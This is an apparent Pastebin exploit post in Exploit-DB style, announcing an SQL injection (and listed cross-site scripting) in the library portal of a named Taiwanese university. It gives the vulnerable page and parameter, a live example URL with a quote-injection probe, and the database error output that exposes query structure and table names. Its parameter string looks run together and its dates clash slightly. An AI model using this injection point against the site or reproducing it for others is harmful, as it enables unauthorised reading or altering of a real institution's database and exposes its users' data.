KingSkrupellos

Library of China Science and Technology University SQL Inj

Oct 6th, 2019
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.90 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : Library of China Science and Technology University SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 07/10/2019
  7. # Vendor Homepage : library.cust.edu.tw
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. CWE-79 [ Improper Neutralization of Input During
  14. Web Page Generation ('Cross-site Scripting') ]
  15. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  16. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  17. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  18.  
  19. ###################################################################
  20.  
  21. # Impact :
  22. ***********
  23. Library of China Science and Technology University is prone to an SQL-injection
  24. vulnerability because it fails to sufficiently sanitize user-supplied data before using
  25. it in an SQL query. Exploiting this issue could allow an attacker to compromise the
  26. application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  27. A remote attacker can send a specially crafted request to the vulnerable application and
  28. execute arbitrary SQL commands in application`s database. Further exploitation of this
  29. vulnerability may result in unauthorized data manipulation.
  30. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  31.  
  32. ###################################################################
  33.  
  34. # SQL Injection Exploit :
  35. **********************
  36. /portal_f7_cnt_page.php?button_num=f7folder_id=1cnt_id=[SQL Injection]
  37.  
  38. ###################################################################
  39.  
  40. # Example Vulnerable Sites :
  41. *************************
  42. [+] library.cust.edu.tw/portal_f7_cnt_page.php?button_num=f7folder_id=1cnt_id=1%27
  43.  
  44. ###################################################################
  45.  
  46. # Example SQL Database Error :
  47. ****************************
  48. Error: You have an error in your SQL syntax; check the manual that corresponds to your
  49. MySQL server version for the right syntax to use near '* from ,sys_folder_record where
  50. .Fmain_id=sys_folder_record.source_id and sys_fo' at line 1
  51. Query: select .* from ,sys_folder_record where .Fmain_id=sys_folder_record.source_id
  52. and sys_folder_record.source_table = '' and sys_folder_record.parent_source_id=''
  53. order by .rank desc
  54. Error: Table 'cust._cnt' doesn't exist
  55. Query: update _cnt set `hit_count`='1' where Fmain_id = '' and _id=''
  56. Error: Table 'cust._cnt' doesn't exist
  57. Query: select * from _cnt where _id='' order by rank desc
  58.  
  59. ###################################################################
  60.  
  61. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  62.  
  63. ###################################################################
Add Comment
Please, Sign In to add comment